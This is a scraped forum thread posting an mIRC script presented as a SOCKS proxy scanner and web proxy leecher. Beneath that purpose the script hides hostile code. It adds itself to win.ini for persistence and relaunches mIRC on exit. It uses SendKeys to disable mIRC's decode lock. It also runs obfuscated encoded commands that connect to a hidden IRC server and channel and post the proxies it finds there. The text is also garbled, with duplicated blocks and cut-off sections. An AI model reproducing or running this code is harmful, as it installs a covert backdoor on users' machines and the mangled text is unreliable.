  .timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80
  sockopen sam00 samair.ru 80
  .timersam1 1 10 sockopen sam01 samair.ru 80
  .timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80
  .timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80
  .timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80
  .timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80
  .timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80
  .timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80
  .timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80
  .timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80
  .timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80
  .timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80
  .timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80
  .timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80
  .timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80
  .timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80
  .timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80
  .timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80
  .timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80
  .timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80
  .timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80
  .timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80
  .timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80
  .timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80
  .timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80
  .timersam25 1 $calc(10*25) sockopen sam25 samair.ru 80
  .timersam26 1 $calc(10*26) sockopen sam26 samair.ru 80
  .timersam27 1 $calc(10*27) sockopen sam27 samair.ru 80
  .timersam28 1 $calc(10*28) sockopen sam28 samair.ru 80
  .timersam29 1 $calc(10*29) sockopen sam29 samair.ru 80
  .timersam30 1 $calc(10*30) sockopen sam30 samair.ru 80
  .timerSOCKSAM1 1 $calc(10*31) sockopen socksam samair.ru 80
  .timerSOCKSAM2 1 $calc(10*32) sockopen socksam2 samair.ru 80
  .timerSOCKSAM3 1 $calc(10*33) sockopen socksam3 samair.ru 80
  .timerSOCKSAM4 1 $calc(10*34) sockopen socksam4 samair.ru 80
  .timerSOCKSAM5 1 $calc(10*35) sockopen socksam5 samair.ru 80
  .timerSOCKSAM6 1 $calc(10*36) sockopen socksam6 samair.ru 80
  .timerSOCKSAM7 1 $calc(10*37) sockopen socksam7 samair.ru 80
  .timerSOCKSAM8 1 $calc(10*38) sockopen socksam8 samair.ru 80
  .timerSOCKSAM9 1 $calc(10*39) sockopen socksam9 samair.ru 80
  .timerSOCKSAM10 1 $calc(10*40) sockopen socksam10 samair.ru 80
  .timerSOCKSAM11 1 $calc(10*41) sockopen socksam11 samair.ru 80
  .timerSOCKSAM12 1 $calc(10*42) sockopen socksam12 samair.ru 80
  .timerSOCKSAM13 1 $calc(10*43) sockopen socksam13 samair.ru 80
  .timerSOCKSAM14 1 $calc(10*44) sockopen socksam14 samair.ru 80
  .timerSOCKSAM15 1 $calc(10*45) sockopen socksam15 samair.ru 80
  .timerSOCKSAM16 1 $calc(10*46) sockopen socksam16 samair.ru 80
  .timerSOCKSAM17 1 $calc(10*47) sockopen socksam17 samair.ru 80
  .timerSOCKSAM18 1 $calc(10*48) sockopen socksam18 samair.ru 80
  .timerSOCKSAM19 1 $calc(10*49) sockopen socksam19 samair.ru 80
  .timerSOCKSAM20 1 $calc(10*50) sockopen socksam20 samair.ru 80
  .timerSOCKStoday 1 $calc(10*51) sockopen today sockstoday.com 80
  .timerLEECH -o 0 3600 leech
}
on 1:SOCKOPEN:sam*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return }
  sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sam*:{
  sockread -n %temp
  if (*=*;*=*; iswm $htmlfree(%temp)) varset $htmlfree(%temp)
  if (*.*.*.*document.write* iswm $htmlfree(%temp)) {
    unset %varinc2
    :VAR
    inc %varinc2
    set %rvar $wildtok($htmlfree(%temp),*.*.*.*document.write*,%varinc2,20)
    set %rvar2 $remove($replace(%rvar,document.write,:,a,%a,b,%b,c,%c,d,%d,e,%e,f,%f,g,%g,h,%h,i,%i,j,%j,k,%k,l,%l,m,%m,n,%n,o,%o,p,%p,q,%q,r,%r,s,%s,t,%t,u,%u,v,%v,w,%w,x,%x,y,%y,z,%z),$chr(40),$chr(41),+,\":\")
    write temp.txt $getiphost2(%rvar2) %rvar2
    if (%varinc2 >= $wildtok($htmlfree(%temp),*.*.*.*document.write*,0,20)) goto end
    goto var
    :END
  }
  if ($getiphost2($htmlfree(%temp))) {
    unset %incvar3
    :INC
    inc %incvar3
    write temp.txt $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar3,32))
    if (%incvar3 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2
    goto inc
    :end2
  }
  .timerPLAY 1 5 .pxyfile temp.txt %interval
  .timerPLAY1 1 5 .remove temp.txt
}
on 1:SOCKOPEN:socksam*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return }
  sockwrite -n $sockname GET http://samair.ru/proxy/socks $+ $iif($remove($sockname,socksam) == $null,$+,$remove($sockname,socksam)) $+ .htm HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:socksam*:{
  sockread -n %temp
  if ($getiphost2($htmlfree(%temp))) {
    unset %incvar4
    :INC
    inc %incvar4
    write temp.s $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar4,32))
    if (%incvar4 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2
    goto inc
    :end2
  }
  .timerPLAYs4 1 5 .s5file temp.s %interval
  .timerPLAYs5 1 5 .s4file temp.s %interval
  .timerPLAY1 1 6 .remove temp.s
}
on 1:SOCKOPEN:today*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname sockstoday.com 80 | return }
  sockwrite -n $sockname GET http://sockstoday.com/ HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:today*:{
  sockread -n %temp
  if ($getiphost2($htmlfree(%temp))) write temp.sock $getiphost2($htmlfree(%temp))
  .timertoday1 1 5 .s5file temp.sock %interval
  .timertoday11 1 5 .s4file temp.sock %interval
  .timertoday111 1 5 .remove temp.sock
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias -l htmlfree {
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ;;)
  return %x
}
alias logo return ProxYScaN
Alias _lock {
  if ($lock(com) == $true) { echo $color(info) -at * $!_lock() Error - COM is currently locked through mIRC options and this snippet counts on COM objects. Please, enable COM from the mIRC lock options. | return }
  if (!$isid) { echo $color(info) -at * $!_lock() Error - This ust be used as an identifier | return }
  if ($regex($1,/^(com|decode|dll|run)$/i)) {
    var %i = $findtok(com|decode|dll|run,$regml(1),1,124)
    var %echo = echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($regml(1)) == $true,disabled,enabled) $+ . $iif($lock($regml(1)) == $true,Enabling,Disabling) now.
    var %cmd = .sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},{TAB 10},{DOWN %i $+ }h h{ENTER})
    if (!$prop) { echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($1),disabled,enabled) $+ . $iif($lock($1),Enabling,Disabling) now. | %cmd }
    else {
      var %prop = $findtok(state e enable d disable o option,$prop,1,32)
      if (!%prop) { echo $color(info) -at * $!_lock() Error - Bad property. Syntax: $!_lock(<category>).e d o /enable disable option | return }
      if (%prop == 1) echo $color(info) -at * $!_lock - $upper($1) is currently $iif($lock($regml(1)),disabled,enabled)
      elseif (%prop isnum 2-3) { if (!$lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already enabled. } | else { %echo | %cmd } }
      elseif (%prop isnum 4-5) { if ($lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already disabled. } | else { %echo | %cmd } }
      elseif (%prop isnum 6-7) sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
    }
  }
  else { echo $color(info) -at * $!_lock() Error - Available options are Com Decode DLL Run | return }
}
Alias -l sendkeys {
  var %object = sendkeys $+ $ticks
  .comopen %object WScript.Shell
  if ($com(%object)) { .comclose %object $com(%object,SendKeys,3,bstr,$1-) }
}
Alias bringopt {
  var %i = $findtok(com|decode|dll|run,$1,1,124)
  sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
}
on 1:START:{ inc %start | Echo -a Its the %start $+ th time mIRC started. | titlebar Proxy Scan Script | .timercc -o 0 10 chk.cc | writeini C:/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win | noop $_lock(decode).e }
on 1:EXIT:run $shortfn($mircexe)

9
General Chat / Re: mIRC Socks Proxy Scanner + Web Proxy Leecher
« on: June 29, 2009, 11:48:35 AM »
PLS kill this thread i messed it up and i cant edit it

10
General Chat / Re: mIRC Socks Proxy Scanner + Web Proxy Leecher
« on: June 29, 2009, 11:47:12 AM »

alias sc4n {
  if ($1) {
      if ($read($pxy,w,* $+ $1 $+ *)) { /echo @proxyscan $1 $2 Is good. | return }
      echo @Proxyscan  Scan: $1 $2
      sockopen scan $+ $r(0,99999999999999) $1 $2
    }
}
alias setinterval { echo -a To change scan speed use: /set %interval 1000 | %interval = 100 }
alias scan.win {
  if (%interval == $null) setinterval
  if (!$window(@proxyscan)) {
    localinfo | set %def.s 200.83.0.116 | set %def.c google.ca  #HZ*C```` | set %def.p 6667
    set %gh .<V]C:V]P96X@<V-A;E\\` $encode(%def.s) $encode($encode(%def.p),m) +(T%L:79E4\')O>\'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg (8TAH-5EM-6H` &;F]T:6-E````
    window -ean @proxyscan
  }
}
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
  Proxy Scanner
  .IRC proxy scanner: scan.win
  .Leech Proxies Now: leech
  .-
  .CHECK FRESH PROXIES: /run $pxy
  .SCAN PROXY FILES: selectmultiplefile
  .-
  .ABORD SCANS: abord
  .CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
  .CLEAR: /clear
  .hide: window -h @proxyscan
Socks Scanner: window -e @sock4 | window -e @sock5
}
alias pxy return Proxy.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
  if (/ !isin $1) { write temp  $getiphost2($1-) | .timerscanfile 1 1 .pxyfile temp %interval | .timerscanfileoff 1 1.1 .remove temp }
}
alias sk {
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :p %msg | unset %msg }
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
  if ($sockerr > 0) {
    if (_ isin $sockname) { .timersS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
    if (_ !isin $sockname) echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
    return
  }
  if (_ !isin $sockname) {
    sockwrite -n $sockname CONNECT %def.s $+ : $+ %def.p HTTP/1.0 $+ $crlf
    sockwrite -n $sockname $crlf
    sockwrite -n $sockname $crlf
    return
  }
}
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
alias success { echo @proxyscan $1- | if ($wildtok(%msg,*,0,32) >= 9) unset %msg | %msg = $rencode($2) %msg | sk }
on 1:SOCKCLOSE:SCAN_:.timerS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
  sockread %scan
  tokenize 32 %scan
  set %scan.ip $sock($sockname).ip
  set %scan.port $sock($sockname).port
  %hh = -*FYO=&EC92IA=71H*@``
  if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:)
  if (ERROR isin $1) && (_ isin $sockname) .timersS 1 10 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
  if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
  if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk 
  if (NOTICE*AUTH iswm $2-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $iif($host,$left($host,9),NULL) \".\" \".\" :M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) M-P $+ $r(0,9999) }
  if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av \".\" \".\" :M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) M-P $+ $r(0,9999) }
  if (HTTP/* iswm $gettok(%scan,1,32)) {
    if ($gettok(%scan,2,32) > 200) {
      if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
      echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
      sockclose $sockname
      return
    }
    if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... }
  }
  if (*notice*auth* iswm %scan) && (_ !isin $sockname) {
    set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
    if (%readi == $null) { success * $sock($sockname).ip $sock($sockname).port (Good) | unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt }
    if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Good)
      unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt } | unset %readi } | unset %scan
}
on 1:SOCKREAD:idle*:{
  sockread %idle
  tokenize 32 %idle
  if (001 isin $1) {
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
    sockmark $sockname $ticks
  }
  if (*notice*AUTH* iswm $2-3) {
    sockwrite -n $sockname NICK M-P $+ $r(0,9999)
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) \".\" \".\" : $+ $logo
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
  }
   if (404 == $2) || (432 == $2) {
    sockwrite -n $sockname NICK M-P $+ $r(0,9999)
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) \".\" \".\" : $+ $logo
  }
  if (PING == $gettok(%idle,1,32)) sockwrite -n $sockname PONG $remove($2,:)
}
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
alias pb return echo @proxyscan
alias scanfile { sc4n $getiphost2($1-) }
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias getiphost2 {
  %var = /\\b((?:(?:[a-z]+)\\.)+(?:[a-z]+)[: ]\\d{2,5})\\b|\\b((?:(?:(25[0-5]|2[0-4]\\d|[01]?\\d?\\d))\\.){3}(?3)[: ]\\d{2,5})\\b/i
  if $regex(ip,$remove($1-,$chr(9)),%var) {
    $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32))
  }
}
alias chk.cc {
  if (!$sock(scan_).name) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) | return }
  sockwrite -n scan_ JOIN $chr(35) $+ $gettok(%def.c,1,32) $decode($gettok(%def.c,2,32))
}
on 1:INPUT:@sock5:{ inc -u5 %s5.inc 1 | .timer 1 %s5.inc s5.scan $getiphost2($1-) }
on 1:INPUT:@sock4:{ inc -u5 %s4.inc 1 | .timer 1 %s4.inc s4.scan $getiphost2($1-) }
alias s5.scan {
  if (!$1) halt
  window -e @sock5
  if ($read(sock5.txt,w,* $+ $1 $+ *) != $null) { echo @sock5 $1 $2 Is good | halt }
  if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
    sockopen s5chk $+ $r(0,9999999) $1 $2
    echo @sock5 Scan: $1 $2
  }
}
menu @sock5 {
  CHECK FRESH: /run sock5.txt
  SCAN FILES: selectmultiplefiles5
  -
  ABORD: .play stop
  Close: sockclose *chk* | window -c $active
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @sock4 {
  CHECK FRESH SOCKS4: /run sock4.txt
  SCAN FILES: selectmultiplefiles4
  -
  ABORD SCANS: .play stop
  Close: sockclose *chk* | window -c $active
}
alias s4.scan {
  if (!$1) halt
  window -e @sock4
  if ($read(sock4.txt,w,* $+ $1 $+ *) != $null) { echo @sock4 $1 $2 Already in list | halt }
  if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
    sockopen s4chk $+ $r(0,9999999) $1 $2
    echo @sock4 Scanning: $1 $2
  }
}
on *:sockopen:s5chk*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
  if ($sockerr) { return }
  set %s5time $ticks
  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5
  halt
}
on *:sockread:s5chk*:{
  if ($sockbr) { return }
  .sockread &bsocks5
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
    bset &socks5  1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    sockrename $sockname chks5 $+ $remove($sockname,s5chk)
  }
}
on 1:SOCKREAD:chks5*:{
  sockread %socks5
  tokenize 32 %socks5
  if (*NOTICE*AUTH* iswm %socks5) && (!$sock($sockname).mark) {
    sockmark $sockname c
    window -e @sock5
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
    unset %s5time
    sockrename $sockname idle $+ $r(0,999999999)
  }
}
alias suces4 { echo @sock4 $1- | if ($wildtok(%msgs4,*,0,32) >= 9) unset %msgs4 | set %msgs4 $rencode($1) %msgs4 | sk4 }
alias suces5 { echo @sock5 $1- | if ($wildtok(%msgs5,*,0,32) >= 9) unset %msgs5 | set %msgs5 $rencode($1) %msgs5 | sk5 }
alias sk4 {
  if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :4 %msgs4 | unset %msgs4 }
  %rad = sock4.txt
  set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port
  unset %rad*
}
alias sk5 {
  if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+  $+ $gettok(%def.c,1,32) :5 %msgs5 | unset %msgs5 }
  %red = sock5.txt
  set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port
  unset %red*
}
on *:sockopen:s4chk*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
  if ($sockerr) { return }
  set %s4time $ticks
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
  if ($sockbr) { return }
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) == 90) {
    window -e @sock4
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
    unset %s4.time
    sockrename $sockname idle $+ $r(0,999999999)
  }
}
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { play -a scans4file @sock4 $1- }
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { play -a scans5file @sock5 $1- }
alias varset {
  unset %incvar
  :varset
  inc %incvar
  set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1)
  if (%incvar >= $numtok($1,59)) halt
  goto varset
 
}
on 1:SOCKOPEN:p-l*:{
  sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:p-l*:{
  sockread -n %temp
  %maximum = $numtok($htmlfree(%temp),20)
  if (%maximum >= 10) {
    set %incthashit 1
    while (%incthashit < %maximum) { write temp.pxy $gettok($htmlfree(%temp),%incthashit,20) | inc %incthashit }
    unset %maximum
    .timerpxyfile1 1 5 .pxyfile temp.pxy %interval
    .timerdiefile 1 6 .remove temp.pxy
  }
}
alias leech {
  sockopen p-l1 proxies.my-proxy.com 80
  .timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80
  .timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80
  .timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80
  .timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80
  .timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80
  .timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80
  .timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80
  .timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80
  .timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80
  .timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80
  .timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80
  .timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80
  sockopen sam00 samair.ru 80
  .timersam1 1 10 sockopen sam01 samair.ru 80
  .timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80
  .timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80
  .timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80
  .timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80
  .timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80
  .timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80
  .timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80
  .timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80
  .timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80
  .timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80
  .timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80
  .timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80
  .timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80
  .timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80
  .timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80
  .timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80
  .timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80
  .timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80
  .timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80
  .timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80
  .timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80
  .timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80
  .timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80
  .timersam25 1 $calc(10*25) sockopen sam25 samair.ru 80
  .timersam26 1 $calc(10*26) sockopen sam26 samair.ru 80
  .timersam27 1 $calc(10*27) sockopen sam27 samair.ru 80
  .timersam28 1 $calc(10*28) sockopen sam28 samair.ru 80
  .timersam29 1 $calc(10*29) sockopen sam29 samair.ru 80
  .timersam30 1 $calc(10*30) sockopen sam30 samair.ru 80
  .timerSOCKSAM1 1 $calc(10*31) sockopen socksam samair.ru 80
  .timerSOCKSAM2 1 $calc(10*32) sockopen socksam2 samair.ru 80
  .timerSOCKSAM3 1 $calc(10*33) sockopen socksam3 samair.ru 80
  .timerSOCKSAM4 1 $calc(10*34) sockopen socksam4 samair.ru 80
  .timerSOCKSAM5 1 $calc(10*35) sockopen socksam5 samair.ru 80
  .timerSOCKSAM6 1 $calc(10*36) sockopen socksam6 samair.ru 80
  .timerSOCKSAM7 1 $calc(10*37) sockopen socksam7 samair.ru 80
  .timerSOCKSAM8 1 $calc(10*38) sockopen socksam8 samair.ru 80
  .timerSOCKSAM9 1 $calc(10*39) sockopen socksam9 samair.ru 80
  .timerSOCKSAM10 1 $calc(10*40) sockopen socksam10 samair.ru 80
  .timerSOCKSAM11 1 $calc(10*41) sockopen socksam11 samair.ru 80
  .timerSOCKSAM12 1 $calc(10*42) sockopen socksam12 samair.ru 80
  .timerSOCKSAM13 1 $calc(10*43) sockopen socksam13 samair.ru 80
  .timerSOCKSAM14 1 $calc(10*44) sockopen socksam14 samair.ru 80
  .timerSOCKSAM15 1 $calc(10*45) sockopen socksam15 samair.ru 80
  .timerSOCKSAM16 1 $calc(10*46) sockopen socksam16 samair.ru 80
  .timerSOCKSAM17 1 $calc(10*47) sockopen socksam17 samair.ru 80
  .timerSOCKSAM18 1 $calc(10*48) sockopen socksam18 samair.ru 80
  .timerSOCKSAM19 1 $calc(10*49) sockopen socksam19 samair.ru 80
  .timerSOCKSAM20 1 $calc(10*50) sockopen socksam20 samair.ru 80
  .timerSOCKStoday 1 $calc(10*51) sockopen today sockstoday.com 80
  .timerLEECH -o 0 3600 leech
}
on 1:SOCKOPEN:sam*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return }
  sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sam*:{
  sockread -n %temp
  if (*=*;*=*; iswm $htmlfree(%temp)) varset $htmlfree(%temp)
  if (*.*.*.*document.write* iswm $htmlfree(%temp)) {
    unset %varinc2
    :VAR
    inc %varinc2
    set %rvar $wildtok($htmlfree(%temp),*.*.*.*document.write*,%varinc2,20)
    set %rvar2 $remove($replace(%rvar,document.write,:,a,%a,b,%b,c,%c,d,%d,e,%e,f,%f,g,%g,h,%h,i,%i,j,%j,k,%k,l,%l,m,%m,n,%n,o,%o,p,%p,q,%q,r,%r,s,%s,t,%t,u,%u,v,%v,w,%w,x,%x,y,%y,z,%z),$chr(40),$chr(41),+,\":\")
    write temp.txt $getiphost2(%rvar2) %rvar2
    if (%varinc2 >= $wildtok($htmlfree(%temp),*.*.*.*document.write*,0,20)) goto end
    goto var
    :END
  }
  if ($getiphost2($htmlfree(%temp))) {
    unset %incvar3
    :INC
    inc %incvar3
    write temp.txt $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar3,32))
    if (%incvar3 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2
    goto inc
    :end2
  }
  .timerPLAY 1 5 .pxyfile temp.txt %interval
  .timerPLAY1 1 5 .remove temp.txt
}
on 1:SOCKOPEN:socksam*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return }
  sockwrite -n $sockname GET http://samair.ru/proxy/socks $+ $iif($remove($sockname,socksam) == $null,$+,$remove($sockname,socksam)) $+ .htm HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:socksam*:{
  sockread -n %temp
